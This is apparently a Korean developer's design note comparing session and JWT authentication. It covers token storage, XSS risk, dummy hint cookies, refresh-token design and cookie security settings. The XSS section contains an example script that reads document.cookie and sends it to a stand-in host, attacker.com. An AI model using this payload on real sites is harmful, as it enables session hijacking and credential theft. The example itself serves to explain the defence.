세션 인증 방식과 JWT 인증 방식의 차이
- 세션 방식
- 서버에서 사용자 정보를 key-value 저장소에 저장
- 서버에서 key를 사용자 쿠키에 담아서 전송
- 사용자가 인증이 필요한 요청을 하면
요청과 함께 키가 담긴 쿠키가 서버로 전송됨 - 서버는 key를 가지고 key-value 저장소를 조회하여
인증정보가 유효함을 확인함
- 세션 방식의 문제
- 인증 정보가 key-value 저장소에 저장되기 때문에
인증 요청이 많아질수록 key-value 저장소에 저장되는
인증 정보량도 증가함 - 인증이 필요한 요청마다 key-value 저장소를 조회하기 때문에
인증 정보가 너무 많이 저장된 경우 조회 성능도 줄어든다. - 한 명의 유저가 여러 디바이스를 가지고 다중 접속하는 경우도
많아지기에 key-value 저장소가 성능 문제를 일으킬수도 있다.
- 인증 정보가 key-value 저장소에 저장되기 때문에
- JWT(Json Web Token)
- 인증정보를 key-value 저장소에 저장하는게 아니라
사용자 고유키를 포함한 몇 가지 정보를
쿠키에 담거나, 응답으로 준뒤 헤더(Authorization) 받는 방법이다. - 이때 클라이언트에서 임의로 사용자 고유키를 변경하는 것을
막기 위해 전자서명을 담아서 위조를 방지한다. - 전자서명(Signature) 생성
- Header + Payload를 Base64Url 인코딩
- Base64Url(Header + “.” + Payload)의 해시(SHA-256)를 생성
- 비밀키(Private Key)로 해시 값을 암호화하여 Signature 생성
- Header.Payload.Signature 형태의 JWT 응답
- 전자서명 검증
- JWT에서 Header, Payload, Signature 분리
- Header + Payload를 Base64Url 인코딩
(클라이언트가 보낸 값 그대로 사용) - Base64Url(Header + “.” + Payload)의 해시(SHA-256)를 계산
- 공개키(Public Key)로 Signature를 검증
- Signature를 공개키로 복호화
- 복호화된 값(원래 해시)과 직접 계산한 해시 값 비교
- 일치하면 유효한 토큰, 다르면 위조된 토큰
- 인증정보를 key-value 저장소에 저장하는게 아니라
- JWT 운영
- Access 토큰
- 사용자 고유키를 포함한 몇 가지 정보가 담긴 토큰
- 인증 여부를 판별할때 사용하기에
유효기간을 짧게 두어
토큰이 탈취되었을 때 위험을 최소화한다.
- Refresh 토큰
- Access 토큰을 재발행할 때 사용하는 토큰이다.
- Refresh 토큰이 유효하다면 Refresh 토큰을 이용하여
Access 토큰을 재발행한다.
- Access 토큰
- JWT 인증이 세션 방식보다 좋은 점
- key-value 저장소를 운영하지 않을 수 있다.
- 이미 사용자 정보가 Access 토큰에 포함되어 있기 때문에
key-value 저장소를 운영할 필요가 없다. - 다만 Refresh 토큰 탈취를 대비하여
블랙리스트 제도를 도입한다면 key-value 저장소를 운영해야한다.
하지만 이때에도 블랙리스트로 등록된 refresh 토큰만 조회하므로
세션 key-value 스토어보다 저장되는 데이터는 적다.
- 이미 사용자 정보가 Access 토큰에 포함되어 있기 때문에
- DB 조회 최소화
- 극단적으로 사용자 고유키 외에 인증에 필요한 다양한 정보
(이름, 닉네임, 생년월일) 등을 JWT에 저장하면
DB 조회 수를 줄일 수 있다. - 다만 많은 정보를 저장할수록 JWT 길이가 길어져서
인증이 필요한 요청을 할때마다 주고 받는 데이터 양이 증가한다. - JWT payload는 JWT 토큰 탈취 시에 그대로 노출되기 때문에
생년월일 등의 민감정보는 저장하지 않는 것이 좋다.
- 극단적으로 사용자 고유키 외에 인증에 필요한 다양한 정보
- key-value 저장소를 운영하지 않을 수 있다.
- 그래서 어떤 방법을 선택?
- 현재 팀은 JWT 인증 방식 경험이 더 많으므로
JWT 인증 방식 선택 - JWT payload에는 사용자 고유키만 포함
- 현재 팀은 JWT 인증 방식 경험이 더 많으므로
JWT를 어디에 저장할까?
- 웹에서 인증정보를 저장하는 것에 어려움
- 웹 브라우저에서 javascript로 접근 가능한 저장소는 XSS 공격을 받을 수 있다.
- XSS(Cross-Site-Scripting)
- 악의적인 스크립트 코드를 다른 사용자의 브라우저에서 실행시키는 공격
- 일반적인 브라우저에서는 동일 출처 정잭(Same origin policy)를
갖기 때문에 이메일 등을 이용한 우회적인 방법으로는
XSS 공격을 실행시키기 어렵다. - 다만 사이트 내에 사용자가 입력할 수 있는 정보가 있고
script 예외처리가 제대로 처리되지 않은 경우에는
XSS 공격을 실행시킬 수 있다. - XSS 공격의 핵심은 javascript로 접근 가능한
쿠키나 로컬스토리지에 담긴 인증 정보를
공격자가 악의적 스크립트를 삽입하여 탈취하는 것이다.
- XSS 예시
- 시나리오
- 공격자는 이메일로 사용의 helloworld.com 인증정보를
탈취하고자 한다. - helloworld.com은 인증정보를 httpOnly = false로 쿠키에 저장한다.
- 사용자는 구형 브라우저로 사용 중이라 samesite = none이 기본값이다.
- 이메일 제공자는 어떠한 스크립트 방어 정책도 제공하지 않는다.
- 사용자는 helloworld.com에 최근 로그인한 상태라 브라우저에서
인증정보를 가지고 있다. - 공격자 사이트로 해당 쿠기가 담겨 전송된다.
- 공격자는 이메일로 사용의 helloworld.com 인증정보를
- 이메일 악성 스크립트 예시
1 2 3 4 5 6 7 8 9 10 11 12 13
<script> fetch('http://attacker.com/steal-cookies', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cookies: document.cookie //사용자의 쿠키 정보 추출 }) }) .then(response => console.log('쿠키 전송 완료')) .catch(error => console.error('에러 발생', error)); </script>
- 시나리오
- 웹 브라우저에서 인증 정보를 저장할 수 있는 장소
- 로컬 스토리지
- Javascript로 로컬 스토리지 조회가 가능하기 때문에 XSS 공격에 취약하다.
- 쿠키(httpOnly = false)
- Javascript로 조회가 쿠키(httpOnly = false )가능하기 때문에
XSS 공격에 취약하다.
- Javascript로 조회가 쿠키(httpOnly = false )가능하기 때문에
- 메모리 저장소
- Redux, Recoil, Zustand와 같이 전역 state 저장소를 사용할 수도 있다.
- XSS로 메모리 영역 변수 조회를 하기는 어렵다.
- 하지만 새로 고침 시 초기화 되므로 계속 사용하기 어렵다.
- 쿠키(httpOnly = true)
- 웹 브라우저 javascript 로는 httpOnly = true 쿠키를 조회할 수 없다.
- samesite = lax로 설정하면 브라우저가 다른 도메인으로 요청한 경
httpOnly = true가 함께 전달되지 않는다. - 웹 브라우저에서는 해당 쿠키를 아예 조회할 수 없기 때문에
쿠키 관련된 처리는 모두 서버에서 처리한다.
- 로컬 스토리지
- 그래서 어디에 저장?
- 쿠키(httpOnly = true)에 저장한다.
클라이언트에게 현재 인증 여부를 알리는 방법
- 서버에서 쿠키(httpOnly = true)로 인증정보를 저장하면
클라이언트에서는 인증정보를 아예 볼 수 없기 때문에
현재 인증 여부를 알 수 없다. - 방법1 - 직접 인증이 필요한 요청을 날려서 확인하기
- 메인페이지의 [로그인/로그아웃] 버튼과 같이
인증 없이 들어갈 수 있는 페이지에서
인증 여부에 따라 다르게 표시해야하는 경우가 있다. - 사용자가 메인페이지에 접속할때마다
인증이 필요한 요청을 먼저 날려서
인증 유무를 파악해야한다. - 불필요한 요청으로 인하여 트래픽이 증가하고
접속마다 상태를 확인하기 때문에
빈번한 렌더링으로 사용자 경험이 안 좋아진다.
- 메인페이지의 [로그인/로그아웃] 버튼과 같이
- 방법2 -서버에서 JWT 응답 본문에 인증 만료 시간 포함
- JWT 발급 시 본문에 인증 만료 시간을 포함시켜
클라이언트에서 인증이 언제 만료되는지 알 수 있게 한다. - 방법1의 단점을 모두 보완할 수 있지만
클라이언트에서 만료 시간을 확인하고
요청 전에 만료시간과 비교해서
인증 유효여부를 판별해야한다는 불편함이 있다.
- JWT 발급 시 본문에 인증 만료 시간을 포함시켜
- 방법3 - 서버에서 인증 쿠키와 동일한 생명주기를 가진
더미 힌트 쿠키를 응답에 포함- 더미 힌트 쿠키는 httpOnly = false이기 때문에
클라이언트에서 조회할 수 있다. - 더미 힌트 쿠키는 인증 쿠키와 생명주기가 같기 때문에
인증쿠키가 만료되면 더미 힌트 쿠키도 만료되어
없어지게 된다. - 따라서 클라이언트에서는 더미 힌트 쿠키 조회하여
존재 유무에 따라 인증여부를 판단한다. - 더미 힌트 쿠키는 매 요청마다 함께 전송되기 떄문에
body를 비우거나 아주 작은 값만 넣어 데이터를 최소화한다.
- 더미 힌트 쿠키는 httpOnly = false이기 때문에
- 그래서 어떤 방법 선택?
- 더미 힌트 쿠키로 구현해보자.
Refresh 토큰에 사용자 식별자를 포함시켜야할까?
- 포함시킨다.
- 장점
- DB 조회 없이 Refresh 토큰만으로 Access 토큰은 발급할 수 있다.
- 단점
- Refresh 토큰 탈취 시 사용자 식별자도 함께 탈취된다.
- 장점
- 포함시키지 않는다.
- 설명
- key-value 저장소에 key: UUID, value: 사용자 식별자를 저장한다.
- Refresh 토큰에는 UUID만 담는다.
- Refresh 토큰으로 Access 토큰 생성 시 UUID를 이용하여
사용자 식별자를 찾아 Access 토큰을 발급한다.
- 장점
- Refresh 토큰이 탈취되어도 사용자 식별자는 탈취되지 않는다.
- 단점
- Access 토큰이 만료될 때마다 key-value를 조회한다.
- 이 경우에도 세션보다는 key-value 저장소 조회 빈도는 적다.
- 세션은 매 요청마다 key-value 저장소를 조회해야 하지만
Refresh UUID 에서는 Access 토큰 만료 후 요청 시에만
key-value 저장소를 조회한다.
- 설명
- 암호화하여 포함시킨다.
- 장점
- DB 조회 없이 Refresh 토큰만으로 Access 토큰을 발급할 수 있다.
- Refresh 토큰이 탈취되어도 사용자 식별자를 판별할 수 없다.
- 단점
- 암복호화 시간이 추가된다.
- 장점
- 그래서 어떤 방법 선택?
- 현재는 Refresh 토큰에 사용자 식별자를 포함하는 것으로 구현되어 있다.
- 추후에 암호화하여 포함시키는 것을 검토하고
문제 없으면 교체해보자.
구체적인 구현 방법
- 가정
- JWT 방식으로 인증을 구현한다.
- Access 토큰과 Refresh 토큰을 사용하여 인증을 처리한다.
- Refresh 토큰만으로 DB 조회 없이 Access 토큰 신규 발행이 가능하다.
- 클라이언트
- /login 엔드포인트로 ID와 Password를 요청에 담아 보낸다.
- 서버 - JWT 발행
- ID와 Password가 유효하다면 Access 토큰과 Refresh 토큰을
httpOnly = true 쿠키에 담아 응답에 담는다. - Access 토큰과 Refresh 토큰의 생명주기가 동일한 더미 힌트 쿠키도
httpOnly = false 쿠키에 담고 응답에 담는다. - 클라이언트로 응답한다.
- ID와 Password가 유효하다면 Access 토큰과 Refresh 토큰을
- 클라이언트
- /login 응답이 성공적으로 도착하였고, 더미 힌트 쿠키가 존재한다면
인증에 성공하였다고 판단한다. - 더미 힌트 쿠키는 프론트에서 [로그인 /로그아웃 버튼]과 같이
로그인 여부를 판별해야 하는 상황에서 사용한다. - 인증이 필요한 요청을 보낼때
Refresh 토큰 더미 힌트 쿠키의 만료시간이 얼마 안 남았다면
새 Refresh 토큰 발급 API에 요청한다. - Refresh 토큰 더미 쿠키가 만료되어 없어졌다면
로그인 창으로 리다이렉트하여 사용자가 직접 인증하도록 유도한다. - 서버에서 401 에러를 받았다면 로그인 창으로 리다이렉트하여
사용자가 직접 인증하도록 유도한다.
- /login 응답이 성공적으로 도착하였고, 더미 힌트 쿠키가 존재한다면
- 서버
- Refresh 토큰이 유효하지 않다.
- 현재 존재하는 요청에 담긴 Access 토큰과 Refresh 토큰을 만료시키고
401 에러로 응답한다.
- 현재 존재하는 요청에 담긴 Access 토큰과 Refresh 토큰을 만료시키고
- Refresh 토큰은 유효한데 Access 토큰이 만료되었다.
- Refresh 토큰으로 Access 토큰을 새로 발행한다.
- 이때 공격자가 의도적으로 잘못된 Access 토큰을 넣을 가능성도 있으므로
CSRF 토큰을 도입하여 의도하지 않은 악의적 요청을 최대한 막는다.
- Refresh 토큰도 유효하고 Access 토큰도 유효하자
- 기존에 발행된 Access 토큰으로 인증 처리를 한다.
- Refresh 토큰이 유효하지 않다.
가장 보안적으로 그나마 안정적인 방식
- 인증 정보는 httpOnly = true, samesite = lax, secure = true 쿠키에
담아 프론트에서 javascript로 조회할 수 없게 한다.
(XSS 공격 방어) - CSRF 토큰을 사용하여 CSRF 공격을 막는다.
- CORS 설정을 하여 웹 브라우저에서 서비스에서 의도하지 않은
AJAX 통신을 막는다.